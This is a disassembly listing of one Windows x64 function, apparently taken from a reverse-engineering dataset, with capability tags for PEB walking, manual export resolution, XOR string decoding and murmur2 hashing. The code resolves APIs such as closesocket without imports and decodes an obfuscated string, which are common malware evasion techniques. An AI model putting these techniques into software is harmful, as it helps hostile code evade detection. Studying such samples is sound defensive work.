Function at 0x1400262f0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using murmur2
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x60
mov rbx, qword [0x1401968a8]
lea rcx, [rbp - 0x40]
mov rdi, rdx
movsxd rsi, r8d
lea rdx, str.127.0.0.1
call fcn.140026800
mov rcx, rax
call fcn.14001c8f0
mov rdx, rax
mov r8d, 0x21e
mov rcx, rbx
call fcn.140024850
mov r13, rax
cmp rax, 0xffffffffffffffff
jne 0x140026458
lea rdx, str.closesocket
lea rcx, [rbp - 0x40]
call fcn.140026930
mov rcx, rax
call fcn.14001de30
mov rcx, qword gs:[0x60]
xor r12d, r12d
mov rsi, rax
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
cmp qword [rbx + 0x60], r12
je 0x14002641c
mov r13d, 0x5a4d
nop dword [rax]
mov r11, qword [rbx + 0x30]
mov rbx, qword [rbx]
test r11, r11
je 0x14002643d
cmp word [r11], r13w
jne 0x14002641c
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14002641c
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14002641c
mov r14d, dword [r11 + rcx + 0x1c]
lea rax, [r11 + rcx]
mov r10d, dword [rax + 0x20]
add r14, r11
mov r15d, dword [rax + 0x24]
add r10, r11
mov edi, dword [rax + 0x18]
add r15, r11
mov r9d, r12d
test edi, edi
je 0x14002643d
mov eax, dword [r10]
xor dl, dl
add rax, r11
cmp byte [rax], dl
je 0x140026431
mov r8, rsi
sub r8, rax
movzx ecx, byte [r8 + rax]
test cl, cl
je 0x14002642d
cmp byte [rax], cl
jne 0x140026431
inc rax
mov dl, 1
cmp byte [rax], r12b
jne 0x1400263f6
movsxd rax, r9d
movzx ecx, word [r15 + rax*2]
mov r12d, dword [r14 + rcx*4]
add r12, r11
mov rcx, 0xffffffffffffffff
call r12
xor al, al
jmp 0x1400267c4
test dl, dl
jne 0x14002640d
inc r9d
add r10, 4
cmp r9d, edi
jb 0x1400263e4
cmp qword [rbx + 0x60], r12
jne 0x140026390
mov rcx, 0xffffffffffffffff
call r12
xor al, al
jmp 0x1400267c4
mov r9, rsi
mov r8, rdi
mov rdx, r13
call fcn.140025d40
test al, al
jne 0x140026575
lea rdx, str.closesocket
lea rcx, [rbp - 0x40]
call fcn.140026a70
mov rcx, rax
call fcn.14001de30
mov rcx, qword gs:[0x60]
xor r12d, r12d
mov rsi, rax
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
cmp qword [rbx + 0x60], r12
je 0x14002653c
mov eax, 0x5a4d
nop
mov r11, qword [rbx + 0x30]
mov rbx, qword [rbx]
test r11, r11
je 0x14002655e
cmp word [r11], ax
jne 0x14002653c
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14002653c
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14002653c
mov r14d, dword [r11 + rcx + 0x1c]
lea rax, [r11 + rcx]
mov r10d, dword [rax + 0x20]
add r14, r11
mov r15d, dword [rax + 0x24]
add r10, r11
mov edi, dword [rax + 0x18]
add r15, r11
mov r9d, r12d
test edi, edi
je 0x140026559
mov ecx, dword [r10]
xor dl, dl
add rcx, r11
cmp byte [rcx], dl
je 0x14002654d
mov r8, rsi
sub r8, rcx
movzx eax, byte [rcx + r8]
test al, al
je 0x140026549
cmp byte [rcx], al
jne 0x14002654d
inc rcx
mov dl, 1
cmp byte [rcx], r12b
jne 0x140026516
movsxd rax, r9d
movzx ecx, word [r15 + rax*2]
mov r12d, dword [r14 + rcx*4]
add r12, r11
mov rcx, r13
call r12
xor al, al
jmp 0x1400267c4
test dl, dl
jne 0x14002652d
inc r9d
add r10, 4
cmp r9d, edi
jb 0x140026504
mov eax, 0x5a4d
cmp qword [rbx + 0x60], r12
jne 0x1400264b0
mov rcx, r13
call r12
xor al, al
jmp 0x1400267c4
mov cl, 0x3d
mov dword [rbp - 0x10], 0x4e52515e
movsx ebx, cl
mov byte [rbp - 0x40], cl
mov ecx, ebx
mov dword [rbp - 0xc], 0x5e524e58
mov dword [rbp - 8], 0x495856
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400265aa
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400265b9
mov edx, 0x9d
call fcn.140128630
imul eax, ebx, 0x5bd1e995
lea r8, [rbp - 0x3c]
mov edi, 8
mov r9d, edi
mov ecx, eax
shr ecx, 0x18
xor ecx, eax
imul r10d, ecx, 0x5bd1e995
xor r12d, r12d
mov edx, r12d
nop
mov eax, r10d
lea r8, [r8 + 4]
xor eax, edx
add edx, 0x5bd1e995
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8 - 4], eax
sub r9, 1
jne 0x1400265e0
mov r9d, 0xb
lea r8, [rbp - 0x3c]
lea rdx, [rbp - 0x10]
call fcn.14011c9b0
movsx ebx, byte [rbp - 0x40]
mov ecx, ebx
mov qword [rbp - 0x18], rax
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14002664c
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14002665b
mov edx, 0x9d
call fcn.140128630
imul eax, ebx, 0x5bd1e995
lea r8, [rbp - 0x3c]
mov edx, r12d
mov ecx, eax
shr ecx, 0x18
xor ecx, eax
imul r9d, ecx, 0x5bd1e995
nop word [rax + rax]
mov eax, r9d
lea r8, [r8 + 4]
xor eax, edx
add edx, 0x5bd1e995
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8 - 4], eax
sub rdi, 1
jne 0x140026680
mov r9d, dword [0x140196874]
lea r8, [rbp - 0x3c]
mov rdx, qword [rbp - 0x18]
call fcn.14011cb00
mov rbx, rax
test rax, rax
jne 0x1400266da
mov rbx, r12
jmp 0x140026702
movzx eax, byte [rbp - 0x40]
xor byte [rbx], al
xor byte [rbx + 1], al
xor byte [rbx + 2], al
xor byte [rbx + 3], al
xor byte [rbx + 4], al
xor byte [rbx + 5], al
xor byte [rbx + 6], al
xor byte [rbx + 7], al
xor byte [rbx + 8], al
xor byte [rbx + 9], al
xor byte [rbx + 0xa], al
mov byte [rbx + 0xb], r12b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
cmp qword [rdi + 0x60], r12
je 0x1400267bc
mov eax, 0x5a4d
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x1400267f1
cmp word [r11], ax
jne 0x1400267bc
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400267bc
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400267bc
mov r14d, dword [r11 + rcx + 0x1c]
lea rax, [r11 + rcx]
mov r10d, dword [rax + 0x20]
add r14, r11
mov r15d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x18]
add r15, r11
mov r9d, r12d
test esi, esi
je 0x1400267ec
mov ecx, dword [r10]
xor dl, dl
add rcx, r11
cmp byte [rcx], dl
je 0x1400267e0
mov r8, rbx
sub r8, rcx
movzx eax, byte [r8 + rcx]
test al, al
je 0x1400267dc
cmp byte [rcx], al
jne 0x1400267e0
inc rcx
mov dl, 1
cmp byte [rcx], r12b
jne 0x140026796
movsxd rax, r9d
movzx ecx, word [r15 + rax*2]
mov r12d, dword [r14 + rcx*4]
add r12, r11
mov rcx, r13
call r12
mov al, 1
mov rbx, qword [rsp + 0xa0]
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
test dl, dl
jne 0x1400267ad
inc r9d
add r10, 4
cmp r9d, esi
jb 0x140026784
mov eax, 0x5a4d
cmp qword [rdi + 0x60], r12
jne 0x140026730
jmp 0x1400267bc